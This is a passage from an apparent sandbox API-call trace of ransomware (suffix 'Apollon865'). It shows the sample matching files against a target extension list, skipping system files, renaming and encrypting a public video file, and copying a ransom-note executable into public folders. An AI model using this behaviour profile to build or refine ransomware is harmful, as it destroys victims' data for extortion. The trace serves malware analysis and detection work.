	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="dbc") returned 1
	[0039.950] lstrlenW (lpString="dbs") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dbs") returned 1
	[0039.950] lstrlenW (lpString="dbt") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dbt") returned 1
	[0039.950] lstrlenW (lpString="dbv") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dbv") returned 1
	[0039.950] lstrlenW (lpString="dbx") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dbx") returned 1
	[0039.950] lstrlenW (lpString="dcb") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dcb") returned 1
	[0039.950] lstrlenW (lpString="dct") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dct") returned 1
	[0039.950] lstrlenW (lpString="dcx") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dcx") returned 1
	[0039.950] lstrlenW (lpString="ddl") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="ddl") returned 1
	[0039.950] lstrlenW (lpString="dlis") returned 4
	[0039.950] lstrcmpiW (lpString1=".wtv", lpString2="dlis") returned -1
	[0039.950] lstrlenW (lpString="dp1") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dp1") returned 1
	[0039.950] lstrlenW (lpString="dqy") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dqy") returned 1
	[0039.950] lstrlenW (lpString="dsk") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dsk") returned 1
	[0039.950] lstrlenW (lpString="dsn") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dsn") returned 1
	[0039.950] lstrlenW (lpString="dtsx") returned 4
	[0039.950] lstrcmpiW (lpString1=".wtv", lpString2="dtsx") returned -1
	[0039.950] lstrlenW (lpString="dxl") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="dxl") returned 1
	[0039.950] lstrlenW (lpString="eco") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="eco") returned 1
	[0039.950] lstrlenW (lpString="ecx") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="ecx") returned 1
	[0039.950] lstrlenW (lpString="edb") returned 3
	[0039.950] lstrcmpiW (lpString1="wtv", lpString2="edb") returned 1
	[0039.950] lstrlenW (lpString="epim") returned 4
	[0039.951] lstrcmpiW (lpString1=".wtv", lpString2="epim") returned -1
	[0039.951] lstrlenW (lpString="fcd") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fcd") returned 1
	[0039.951] lstrlenW (lpString="fdb") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fdb") returned 1
	[0039.951] lstrlenW (lpString="fic") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fic") returned 1
	[0039.951] lstrlenW (lpString="flexolibrary") returned 12
	[0039.951] lstrcmpiW (lpString1="hort_raw.wtv", lpString2="flexolibrary") returned 1
	[0039.951] lstrlenW (lpString="fm5") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fm5") returned 1
	[0039.951] lstrlenW (lpString="fmp") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fmp") returned 1
	[0039.951] lstrlenW (lpString="fmp12") returned 5
	[0039.951] lstrcmpiW (lpString1="w.wtv", lpString2="fmp12") returned 1
	[0039.951] lstrlenW (lpString="fmpsl") returned 5
	[0039.951] lstrcmpiW (lpString1="w.wtv", lpString2="fmpsl") returned 1
	[0039.951] lstrlenW (lpString="fol") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fol") returned 1
	[0039.951] lstrlenW (lpString="fp3") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fp3") returned 1
	[0039.951] lstrlenW (lpString="fp4") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fp4") returned 1
	[0039.951] lstrlenW (lpString="fp5") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fp5") returned 1
	[0039.951] lstrlenW (lpString="fp7") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fp7") returned 1
	[0039.951] lstrlenW (lpString="fpt") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="fpt") returned 1
	[0039.951] lstrlenW (lpString="frm") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="frm") returned 1
	[0039.951] lstrlenW (lpString="gdb") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="gdb") returned 1
	[0039.951] lstrlenW (lpString="gdb") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="gdb") returned 1
	[0039.951] lstrlenW (lpString="grdb") returned 4
	[0039.951] lstrcmpiW (lpString1=".wtv", lpString2="grdb") returned -1
	[0039.951] lstrlenW (lpString="gwi") returned 3
	[0039.951] lstrcmpiW (lpString1="wtv", lpString2="gwi") returned 1
	[0039.952] lstrlenW (lpString="hdb") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="hdb") returned 1
	[0039.952] lstrlenW (lpString="his") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="his") returned 1
	[0039.952] lstrlenW (lpString="ib") returned 2
	[0039.952] lstrcmpiW (lpString1="tv", lpString2="ib") returned 1
	[0039.952] lstrlenW (lpString="idb") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="idb") returned 1
	[0039.952] lstrlenW (lpString="ihx") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="ihx") returned 1
	[0039.952] lstrlenW (lpString="itdb") returned 4
	[0039.952] lstrcmpiW (lpString1=".wtv", lpString2="itdb") returned -1
	[0039.952] lstrlenW (lpString="itw") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="itw") returned 1
	[0039.952] lstrlenW (lpString="jet") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="jet") returned 1
	[0039.952] lstrlenW (lpString="jtx") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="jtx") returned 1
	[0039.952] lstrlenW (lpString="kdb") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="kdb") returned 1
	[0039.952] lstrlenW (lpString="kexi") returned 4
	[0039.952] lstrcmpiW (lpString1=".wtv", lpString2="kexi") returned -1
	[0039.952] lstrlenW (lpString="kexic") returned 5
	[0039.952] lstrcmpiW (lpString1="w.wtv", lpString2="kexic") returned 1
	[0039.952] lstrlenW (lpString="kexis") returned 5
	[0039.952] lstrcmpiW (lpString1="w.wtv", lpString2="kexis") returned 1
	[0039.952] lstrlenW (lpString="lgc") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="lgc") returned 1
	[0039.952] lstrlenW (lpString="lwx") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="lwx") returned 1
	[0039.952] lstrlenW (lpString="maf") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="maf") returned 1
	[0039.952] lstrlenW (lpString="maq") returned 3
	[0039.952] lstrcmpiW (lpString1="wtv", lpString2="maq") returned 1
	[0039.952] lstrlenW (lpString="mar") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mar") returned 1
	[0039.953] lstrlenW (lpString="marshal") returned 7
	[0039.953] lstrcmpiW (lpString1="raw.wtv", lpString2="marshal") returned 1
	[0039.953] lstrlenW (lpString="mas") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mas") returned 1
	[0039.953] lstrlenW (lpString="mav") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mav") returned 1
	[0039.953] lstrlenW (lpString="maw") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="maw") returned 1
	[0039.953] lstrlenW (lpString="mdbhtml") returned 7
	[0039.953] lstrcmpiW (lpString1="raw.wtv", lpString2="mdbhtml") returned 1
	[0039.953] lstrlenW (lpString="mdn") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mdn") returned 1
	[0039.953] lstrlenW (lpString="mdt") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mdt") returned 1
	[0039.953] lstrlenW (lpString="mfd") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mfd") returned 1
	[0039.953] lstrlenW (lpString="mpd") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mpd") returned 1
	[0039.953] lstrlenW (lpString="mrg") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mrg") returned 1
	[0039.953] lstrlenW (lpString="mud") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mud") returned 1
	[0039.953] lstrlenW (lpString="mwb") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="mwb") returned 1
	[0039.953] lstrlenW (lpString="myd") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="myd") returned 1
	[0039.953] lstrlenW (lpString="ndf") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="ndf") returned 1
	[0039.953] lstrlenW (lpString="nnt") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="nnt") returned 1
	[0039.953] lstrlenW (lpString="nrmlib") returned 6
	[0039.953] lstrcmpiW (lpString1="aw.wtv", lpString2="nrmlib") returned -1
	[0039.953] lstrlenW (lpString="ns2") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="ns2") returned 1
	[0039.953] lstrlenW (lpString="ns3") returned 3
	[0039.953] lstrcmpiW (lpString1="wtv", lpString2="ns3") returned 1
	[0039.954] lstrlenW (lpString="ns4") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="ns4") returned 1
	[0039.954] lstrlenW (lpString="nsf") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="nsf") returned 1
	[0039.954] lstrlenW (lpString="nv") returned 2
	[0039.954] lstrcmpiW (lpString1="tv", lpString2="nv") returned 1
	[0039.954] lstrlenW (lpString="nv2") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="nv2") returned 1
	[0039.954] lstrlenW (lpString="nwdb") returned 4
	[0039.954] lstrcmpiW (lpString1=".wtv", lpString2="nwdb") returned -1
	[0039.954] lstrlenW (lpString="nyf") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="nyf") returned 1
	[0039.954] lstrlenW (lpString="odb") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="odb") returned 1
	[0039.954] lstrlenW (lpString="odb") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="odb") returned 1
	[0039.954] lstrlenW (lpString="oqy") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="oqy") returned 1
	[0039.954] lstrlenW (lpString="ora") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="ora") returned 1
	[0039.954] lstrlenW (lpString="orx") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="orx") returned 1
	[0039.954] lstrlenW (lpString="owc") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="owc") returned 1
	[0039.954] lstrlenW (lpString="p96") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="p96") returned 1
	[0039.954] lstrlenW (lpString="p97") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="p97") returned 1
	[0039.954] lstrlenW (lpString="pan") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="pan") returned 1
	[0039.954] lstrlenW (lpString="pdb") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="pdb") returned 1
	[0039.954] lstrlenW (lpString="pdm") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="pdm") returned 1
	[0039.954] lstrlenW (lpString="pnz") returned 3
	[0039.954] lstrcmpiW (lpString1="wtv", lpString2="pnz") returned 1
	[0039.954] lstrlenW (lpString="qry") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="qry") returned 1
	[0039.955] lstrlenW (lpString="qvd") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="qvd") returned 1
	[0039.955] lstrlenW (lpString="rbf") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="rbf") returned 1
	[0039.955] lstrlenW (lpString="rctd") returned 4
	[0039.955] lstrcmpiW (lpString1=".wtv", lpString2="rctd") returned -1
	[0039.955] lstrlenW (lpString="rod") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="rod") returned 1
	[0039.955] lstrlenW (lpString="rodx") returned 4
	[0039.955] lstrcmpiW (lpString1=".wtv", lpString2="rodx") returned -1
	[0039.955] lstrlenW (lpString="rpd") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="rpd") returned 1
	[0039.955] lstrlenW (lpString="rsd") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="rsd") returned 1
	[0039.955] lstrlenW (lpString="sas7bdat") returned 8
	[0039.955] lstrcmpiW (lpString1="_raw.wtv", lpString2="sas7bdat") returned -1
	[0039.955] lstrlenW (lpString="sbf") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="sbf") returned 1
	[0039.955] lstrlenW (lpString="scx") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="scx") returned 1
	[0039.955] lstrlenW (lpString="sdb") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="sdb") returned 1
	[0039.955] lstrlenW (lpString="sdc") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="sdc") returned 1
	[0039.955] lstrlenW (lpString="sdf") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="sdf") returned 1
	[0039.955] lstrlenW (lpString="sis") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="sis") returned 1
	[0039.955] lstrlenW (lpString="spq") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="spq") returned 1
	[0039.955] lstrlenW (lpString="te") returned 2
	[0039.955] lstrcmpiW (lpString1="tv", lpString2="te") returned 1
	[0039.955] lstrlenW (lpString="teacher") returned 7
	[0039.955] lstrcmpiW (lpString1="raw.wtv", lpString2="teacher") returned -1
	[0039.955] lstrlenW (lpString="tmd") returned 3
	[0039.955] lstrcmpiW (lpString1="wtv", lpString2="tmd") returned 1
	[0039.955] lstrlenW (lpString="tps") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="tps") returned 1
	[0039.956] lstrlenW (lpString="trc") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="trc") returned 1
	[0039.956] lstrlenW (lpString="trc") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="trc") returned 1
	[0039.956] lstrlenW (lpString="trm") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="trm") returned 1
	[0039.956] lstrlenW (lpString="udb") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="udb") returned 1
	[0039.956] lstrlenW (lpString="udl") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="udl") returned 1
	[0039.956] lstrlenW (lpString="usr") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="usr") returned 1
	[0039.956] lstrlenW (lpString="v12") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="v12") returned 1
	[0039.956] lstrlenW (lpString="vis") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="vis") returned 1
	[0039.956] lstrlenW (lpString="vpd") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="vpd") returned 1
	[0039.956] lstrlenW (lpString="vvv") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="vvv") returned 1
	[0039.956] lstrlenW (lpString="wdb") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="wdb") returned 1
	[0039.956] lstrlenW (lpString="wmdb") returned 4
	[0039.956] lstrcmpiW (lpString1=".wtv", lpString2="wmdb") returned -1
	[0039.956] lstrlenW (lpString="wrk") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="wrk") returned 1
	[0039.956] lstrlenW (lpString="xdb") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="xdb") returned -1
	[0039.956] lstrlenW (lpString="xld") returned 3
	[0039.956] lstrcmpiW (lpString1="wtv", lpString2="xld") returned -1
	[0039.956] lstrlenW (lpString="xmlff") returned 5
	[0039.956] lstrcmpiW (lpString1="w.wtv", lpString2="xmlff") returned -1
	[0039.956] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.Apollon865") returned 81
	[0039.956] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.Apollon865" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.apollon865"), dwFlags=0x1) returned 1
	[0039.957] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.Apollon865" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0039.957] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=9699328) returned 1
	[0039.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0039.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0039.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0039.958] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0039.958] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0039.958] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0039.959] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x940300, lpName=0x0) returned 0x158
	[0039.960] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0x140300) returned 0x2a80000
	[0041.258] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0041.259] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0041.259] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0041.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0041.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0041.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.260] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.260] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.260] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.260] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0041.272] CloseHandle (hObject=0x158) returned 1
	[0041.272] CloseHandle (hObject=0x15c) returned 1
	[0041.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0041.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0041.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0
	[0041.649] FindClose (in: hFindFile=0x5ca1d0 | out: hFindFile=0x5ca1d0) returned 1
	[0041.650] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0041.650] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures"
	[0041.650] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca110 | out: hHeap=0x580000) returned 1
	[0041.650] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0041.650] lstrlenW (lpString="C:\\Users\\Public\\Pictures") returned 24
	[0041.650] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures"
	[0041.650] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0041.650] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0041.650] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0041.650] GetLastError () returned 0x0
	[0041.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0041.650] ReadFile (in: hFile=0x148, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0041.651] CloseHandle (hObject=0x148) returned 1
	[0041.651] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0041.651] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0041.651] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2da1a730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da1a730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0041.651] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.651] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0041.651] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0041.651] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2da1a730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da1a730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.651] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.651] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0041.651] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0041.651] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0041.651] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0041.651] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0041.652] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0041.652] lstrlenW (lpString="desktop.ini") returned 11
	[0041.652] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\*") returned 26
	[0041.652] lstrcpyW (in: lpString1=0x119e63a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0041.652] lstrlenW (lpString="desktop.ini") returned 11
	[0041.652] lstrlenW (lpString="Apollon865") returned 10
	[0041.652] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0041.652] lstrlenW (lpString=".dll") returned 4
	[0041.652] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0041.652] lstrlenW (lpString=".lnk") returned 4
	[0041.652] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0041.652] lstrlenW (lpString=".ini") returned 4
	[0041.652] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0041.652] lstrlenW (lpString=".sys") returned 4
	[0041.652] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0041.652] lstrlenW (lpString="desktop.ini") returned 11
	[0041.652] lstrlenW (lpString="bak") returned 3
	[0041.652] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0041.652] lstrlenW (lpString="ba_") returned 3
	[0041.652] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0041.652] lstrlenW (lpString="dbb") returned 3
